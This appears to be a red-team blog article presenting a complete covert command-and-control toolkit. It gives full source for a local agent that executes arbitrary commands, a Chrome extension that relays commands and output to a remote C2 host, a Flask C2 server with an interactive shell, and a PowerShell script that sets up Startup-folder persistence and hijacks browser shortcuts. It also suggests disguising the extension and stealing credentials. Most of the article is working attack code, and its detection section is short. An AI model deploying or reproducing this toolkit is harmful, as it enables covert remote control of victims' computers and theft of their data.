Stealth Relay: Crafting a Covert Browser-Based Command and Control Infrastructure Using Chrome Extensions

 Introduction

Command and Control (C2) communication is at the heart of modern offensive security and red teaming operations. In this article, we showcase a stealthy yet effective C2 technique that leverages a combination of a local HTTP server and a Chrome extension to create a flexible command relay mechanism.

This article details the implementation, capabilities, and trade-offs of this technique. Offering insight into both its utility for attackers and its implications for defenders.

Proof Of Concept

Overview

The setup consists of two key components:

  • Local agent: a lightweight C++ HTTP server running on 127.0.0.1:8081, capable of executing system commands passed via HTTP GET parameters and returning the output as plain text.

  • Chrome extension: configured with background script logic that acts as a communication bridge between a remote C2 server and the local agent. The extension fetches commands from the remote server, forwards them to the local agent for execution, and then exfiltrates the results back to the C2.

  • Remote Server (C2): a VPS running a Flask server pushes commands and captures results sent by the chrome extension over HTTPS with interactive shell.

By embedding this logic in a browser extension, the technique can blend into normal user activity, evade basic detection mechanisms.


C2 Over Chrome extension relay

Local Agent: C++ lightweight HTTP server

The HTTP server running on 127.0.0.1:8081 and runs command passed in GET requests.

http://localhost:8081/?cmd=<COMMAND>
main.cpp
#include "civetweb.h"
#include <string>
#include <iostream>
#include <sstream>
#include <cstdio>
#include <memory>
#include <array>
#include <cstring>

// Execute command and capture output
std::string exec(const std::string& cmd) {
    std::array<char, 128> buffer;
    std::string result;
#if defined(_WIN32)
    std::unique_ptr<FILE, decltype(&_pclose)> pipe(_popen(cmd.c_str(), "r"), _pclose);
#else
    std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
#endif
    if (!pipe) {
        return "Error: Failed to execute command.";
    }
    while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
        result += buffer.data();
    }
    return result;
}

// HTTP request handler
int request_handler(struct mg_connection* conn, void* /*cbdata*/) {
    const struct mg_request_info* req_info = mg_get_request_info(conn);

    // Check for GET method
    if (strcmp(req_info->request_method, "GET") != 0) {
        mg_printf(conn, "HTTP/1.1 405 Method Not Allowed\r\n\r\n");
        return 1;
    }

    std::string uri(req_info->local_uri);

    // Check base URL prefix "/agent/cmd"
    const std::string base_prefix = "/agent/";
    if (uri.compare(0, base_prefix.size(), base_prefix) != 0) {
        mg_printf(conn, "HTTP/1.1 404 Not Found\r\n\r\n");
        return 1;
    }

    // Parse query string for 'cmd' parameter
    const char* query = req_info->query_string ? req_info->query_string : "";
    std::string query_str(query);
    const std::string param = "cmd=";
    size_t pos = query_str.find(param);
    if (pos == std::string::npos) {
        mg_printf(conn, "HTTP/1.1 400 Bad Request\r\nContent-Type: text/plain\r\n\r\nMissing 'cmd' parameter\n");
        return 1;
    }

    std::string cmd = query_str.substr(pos + param.length());

    // URL decode the command
    char decoded_cmd[1024];
    mg_url_decode(cmd.c_str(), cmd.length(), decoded_cmd, sizeof(decoded_cmd), 1);
    std::string decoded(decoded_cmd);

    // Execute the command
    std::string output = exec(decoded);

    // Return output
    mg_printf(conn,
              "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: %zu\r\n\r\n%s",
              output.size(),
              output.c_str());

    return 1;
}
int main() {
    const char* options[] = {
        "document_root", ".",
        "listening_ports", "8081",
        nullptr
    };

    struct mg_context* ctx = mg_start(nullptr, nullptr, options);
    if (ctx == nullptr) {
        std::cerr << "Failed to start server." << std::endl;
        return 1;
    }

    // Register the request handler for specific route
    mg_set_request_handler(ctx, "/agent/", request_handler, nullptr);

    std::cout << "Server started on port 8081" << std::endl;
    std::cout << "Use URL like: http://localhost:8081/agent/cmd?=your_command" << std::endl;
    std::cout << "Press Enter to quit." << std::endl;

    getchar();

    mg_stop(ctx);
    return 0;
}
    
The web agent is based on the CivetWeb project. Civetweb Needs to be properly imported. We provide the full Code::Blocks project at the end of the article.

After compiling the source code. We run agent.exe and we get a functional webserver running commands for us.

Local agent in action

Relay: Chrome extension

The Chrome extension acts as the critical relay between the remote command-and-control server and the local agent running on 127.0.0.1:8081 . It does so by periodically polling the remote server for new commands, forwarding them to the local agent for execution, and then uploading the results back to the C2 server, all in the background.

The extension source code is made of two files:

manifest.json

{
  "manifest_version": 3,
  "name": "Localhost Relay Client",
  "version": "1.1",
  "description": "Relays data between localhost and a remote server.",
  "permissions": ["alarms"],
  "host_permissions": [
    "http://localhost:8081/*",
    "https://<C2_URL#62;/*"
  ],
  "background": {
    "service_worker": "background.js"
  },
  "action": {
    "default_title": "Relay Client"
  }
}

background.js
const BASE_LOCAL = "http://localhost:8081/agent/";
const BASE_REMOTE = "https://<C2_URL#62;/";
let lastCommand = "";
async function relayLoop() {
    try {
        const res = await fetch(`${BASE_LOCAL}?cmd=hostname`);
        const hostname = await res.text();

        // POST hostname as heartbeat, and receive pending command
        const cmdRes = await fetch(`${BASE_REMOTE}/down`, {
            method: "POST",
            headers: { "Content-Type": "text/plain" },
            body: hostname
        });

        if (cmdRes.status === 204) {
            console.log("No command to execute");
            return;
        }

        if (!cmdRes.ok) {
            console.warn("Failed to get command:", cmdRes.status);
            return;
        }

        const cmd = await cmdRes.text();
        if (cmd && cmd !== lastCommand) {
            lastCommand = cmd;
            const localRes = await fetch(`${BASE_LOCAL}?cmd=${encodeURIComponent(cmd)}`);
            const output = await localRes.text();

            await fetch(`${BASE_REMOTE}/up`, {
                method: "POST",
                headers: { "Content-Type": "text/plain" },
                body: output
            });

            console.log("Executed:", cmd);
        }
    } catch (e) {
        console.error("Relay error:", e);
    }
}

chrome.runtime.onStartup.addListener(() => {
    relayLoop();
});

chrome.alarms.create("relay", { periodInMinutes: 0.083 });

chrome.alarms.onAlarm.addListener((alarm) => {
    if (alarm.name === "relay") {
        relayLoop();
    }
});


Now the extension can be loaded manually in the browser (unpacked) for testing. However, it will have errors because the C2 is not yet up.

C2: Flask Server

First of all we need a domain name for the C2 server. We can simply use the public DNS assigned to the VPS. Or Set up an A record pointing to the server's IP address.

Here is the server source code (Python). It is running on Debug mode.

c2.py
from flask import Flask, request, jsonify, render_template_string
from datetime import datetime

app = Flask(__name__)

# State tracking
client = {
    "hostname": "UNKNOWN",
    "last_seen": None
}
command_state = {
    "last_command": "",
    "executed": True
}
log = []  # [{command, response, timestamp}]

# === ROUTES ===

@app.route("/down", methods=["POST"])
def receive_heartbeat_and_send_command():
    hostname = request.data.decode("utf-8").strip()
    client["hostname"] = hostname
    client["last_seen"] = datetime.now()
    if not command_state["executed"]:
        return command_state["last_command"]
    return "", 204

@app.route("/up", methods=["POST"])
def receive_output():
    output = request.data.decode("utf-8").strip()
    log.append({
        "timestamp": datetime.now(),
        "hostname": client["hostname"],
        "command": command_state["last_command"],
        "response": output
    })
    command_state["executed"] = True
    return "OK", 200

@app.route("/set-command", methods=["POST"])
def set_command():
    cmd = request.form.get("command", "").strip()
    if cmd:
        command_state["last_command"] = cmd
        command_state["executed"] = False
    return "OK", 200

@app.route("/logs", methods=["GET"])
def get_logs():
    return jsonify([
        {
            "hostname": entry["hostname"],
            "command": entry["command"],
            "response": entry["response"],
            "timestamp": entry["timestamp"].strftime("%Y-%m-%d %H:%M:%S")
        }
        for entry in log
    ])

@app.route("/", methods=["GET"])
def dashboard():
    return render_template_string(DASHBOARD_TEMPLATE, hostname=client["hostname"])

# === HTML TEMPLATE ===

DASHBOARD_TEMPLATE = """
<!DOCTYPE html>
<html>
<head>
    <title>C2 Dashboard</title>
    <style>
        body {
            background: black;
            color: #00ff00;
            font-family: monospace;
            padding: 20px;
        }
        #log {
            height: 400px;
            overflow-y: auto;
            border: 1px solid #333;
            padding: 10px;
            margin-bottom: 10px;
            background: black;
            white-space: pre-wrap;
        }
        input {
            background: black;
            color: #00ff00;
            border: 1px solid #00ff00;
            font-family: monospace;
            width: 80%;
        }
        button {
            background: #00ff00;
            color: black;
            border: none;
            padding: 5px 10px;
        }
    </style>
</head>
<body>
    <h2>{{ hostname }}</h2>
    <div id="log">Loading...</div>

    <form id="command-form">
        <input type="text" name="command" id="command" autocomplete="off" placeholder="type command here..." />
        <button type="submit">Send</button>
    </form>

    <script>
        function updateLog() {
            fetch("/logs")
                .then(res => res.json())
                .then(data => {
                    const logDiv = document.getElementById("log");
                    logDiv.textContent = data.map(entry =>
                        `${entry.hostname}>${entry.command}\n${entry.response}\n`
                    ).join("\\n");
                });
        }

        document.getElementById("command-form").addEventListener("submit", function(e) {
            e.preventDefault();
            const input = document.getElementById("command");
            const cmd = input.value.trim();
            if (!cmd) return;
            fetch("/set-command", {
                method: "POST",
                headers: { "Content-Type": "application/x-www-form-urlencoded" },
                body: "command=" + encodeURIComponent(cmd)
            }).then(() => {
                input.value = "";
                updateLog();
            });
        });

        // Initial + periodic refresh
        updateLog();
        setInterval(updateLog, 5000);
    </script>
</body>
</html>
"""

if __name__ == "__main__":
    app.run(debug=True, port=5000)

We run the script then configure a new site on nginx.
Nginx should act as a reverse proxy to 127.0.0.1:5000 (proxy_pass).

Please note that it is required to install a trusted TLS Certificate. Otherwise, chrome will block connections to the C2. That's why we are going to use Let's Encrypt with Nginx.

After setting up Nginx, we can use certbot to generate the TLS certificate for us. The Final Nginx will look something like this.

Nginx site configuration
server {
    server_name <C2-PUBLIC-DNS>;

    location / {
        proxy_pass http://127.0.0.1:5000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

    listen 443 ssl; # managed by Certbot
    ssl_certificate /etc/letsencrypt/live/<C2-PUBLIC-DNS>/fullchain.pem; # managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/<C2-PUBLIC-DNS>/privkey.pem; # managed by Certbot
    include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot
    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot

}
server {
    if ($host = <C2-PUBLIC-DNS>) {
        return 301 https://$host$request_uri;
    } # managed by Certbot

    listen 80;
    server_name <C2-PUBLIC-DNS>;
    return 404; # managed by Certbot

}

Now the C2 server is up and running !

Putting things together

Quick test

Now we have all of the three requirements set up and ready for testing. We can proceed:

  1. Open the C2 web UI on the browser: https://<PUBLIC-DNS>/
  2. Run the local agent
  3. Load the unpacked extension manually to chrome (Just testing for now)
  4. Start typing commands into the Interactive shell from the C2 web UI
As we can see in the following screenshot. We have access to command prompt. And the extension is communicating with the C2:


C2 in action: Interactive shell through relay (Chrome extension)

Automatically loading the extension

To convince the victim to manually load an unpacked extension to their browser, one must be a master at social engineering, overlooking the fact that the task may be complicated for the target.
We can use the --load-extension switch in the command line to load the extension into the browser.
chrome.exe --load-extension=C:\path\to\extension

The limits of this approach are:
  • Extension must be unpacked
  • The extension is not loaded globally; it is only loaded for that specific running instance of Chrome
  • The --load-extension switch was removed since version 136 of chrome.
Commit: --load-extension switch  removed from chrome


The  Advantages of this approach are:
  • It does not require activating the Developer mode manually
  • Can be used programmatically. No UI interactions required
Most browser are set to update automatically. Why don't we just copy the BYOVD guys and Bring Our Own "Vulnerable" Browser ? (BYOVB: Cool name right?).

We have downloaded a portable older version of chromium (Zip) that still has the switch "feature".
We have created a PowerShell script that orchestrates the entire attack. It does the following:

  1. Creates directories Browser and Server under %APPDATA%
  2. Unzips chrome.zip and relay.zip to %APPDATA%\Browser 
  3. Unzips agent.zip to %APPDATA%\Server
  4. Drops a VBS script to the Startup Folder to run agent.exe silently on boot
  5. Looks for all Chrome or MS Edge shortcuts and tampers with their target property to make them point to C:\Users\<username>\AppData\Roaming\Browser\chrome-win\chrome.exe --load-extension=C:\Users\<username>\AppData\Roaming\Browser\Relay

setup.ps1
# Define paths
$browserPath = Join-Path $env:APPDATA 'Browser'
$serverPath = Join-Path $env:APPDATA 'Server'
$startupFolder = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
$vbsFilePath = Join-Path $startupFolder 'run-agent.vbs'

# Create directories if they don't exist
New-Item -Path $browserPath -ItemType Directory -Force | Out-Null
New-Item -Path $serverPath -ItemType Directory -Force | Out-Null

# Unzip files
Expand-Archive -Path "chrome.zip" -DestinationPath $browserPath -Force
Expand-Archive -Path "relay.zip" -DestinationPath $browserPath -Force
Expand-Archive -Path "agent.zip" -DestinationPath $serverPath -Force

# VBS script content to run agent.exe silently
$vbsContent = @'
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run """" & WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%APPDATA%") & "\Server\agent.exe""", 0, False
'@

# Write VBS to Startup folder
Set-Content -Path $vbsFilePath -Value $vbsContent -Encoding ASCII

Write-Host "Setup complete. Agent will run in the background on next login."


# Define target executable and extension directory
$customChrome = "$env:APPDATA\Browser\chrome-win\chrome.exe"
$extensionDir = "$env:APPDATA\Browser\Relay"

# Locations to scan
$shortcutPaths = @(
    "$env:PUBLIC\Desktop",
    "$env:USERPROFILE\Desktop",
    "$env:APPDATA\Microsoft\Windows\Start Menu\Programs",
    "$env:ProgramData\Microsoft\Windows\Start Menu\Programs"
)

# Create a WScript.Shell COM object
$ws = New-Object -ComObject WScript.Shell

foreach ($path in $shortcutPaths) {
    if (-Not (Test-Path $path)) { continue }

    Get-ChildItem -Path $path -Filter *.lnk -Recurse -ErrorAction SilentlyContinue | ForEach-Object {
        try {
            $shortcut = $ws.CreateShortcut($_.FullName)

            # Check if the shortcut points to Chrome or Edge
            if ($shortcut.TargetPath -match "chrome.exe" -or $shortcut.TargetPath -match "msedge.exe") {
                Write-Host "Modifying shortcut:" $_.FullName
				Write-Host $customChrome
				Write-Host $extensionDir
                # Replace with custom Chromium build
                $shortcut.TargetPath = $customChrome
                $shortcut.Arguments = "--load-extension=`"$extensionDir`""
                $shortcut.Save()
            }
        } catch {
            Write-Warning "Failed to process shortcut: $_.FullName"
        }
    }
} 

The full stage looks like the following:

Components of the Paylaod

Let's run setup.ps1!

Running setup.ps1

In this simulated environment we have MS Edge as the only and the default browser.

The Desktop shortcut and the Start Menu one have been successfully modified to point to our Chromium and load the malicious extension.



MS Edge shortcut on the Desktop was Modified

Let's go ahead and run MS Edge from the Start Menu.


MS Edge shortcut in the Start Menu was Modified

As you can see. the modified shortcut still has MS Edge Icon but it points to chromium with --load-extension switch pointing to our extension.

When the user clicks on MS Egde. Chromium starts instead, with out extension loaded and active.

Chromium started with the relay extension loaded

Conclusion

Detection

This technique can be detected at multiple levels. However, combined with other techniques it may get stealthier and more complicated to detect.
  • Detect the load extension switch using windows event logs, Sysmon or EDR logs
  • Monitor browser shortcut bulk modification or deletion then creation using windows event logs, Sysmon or EDR logs
  • Monitor the presence of command line prompts in the web traffic using proxy logs

Improvements

Enhance stealth:
  • Combine with other C2 techniques like Abusing Microsoft Blob storageC2 over Google sheet. This way the traffic blends in with legitimate traffic and will be harder to detect.
  • Masquerade the extension (Icon, name, description...) as a legitimate one that blends in with the C2 technique. For example, One Drive or Google Drive extension
Enhance capabilities:

  • Inject JS to websites to collect credentials (Info Stealer)
  • Force redirect and download on demand.
  • First stage for payload delivery.

Challenges

  • This is a relay and not a tunnel. tunneling capabilities are not possible
  • Overwriting shortcuts may require admin privileges: We can remove and replace instead
  • Target user may realize that their main browser was replaced or tampered with
  • Older version of chrome is required (BYOVB). Relatively big file size (over 200MB)

Source Code

Source code is available on our GitHub Repo.

Popular Posts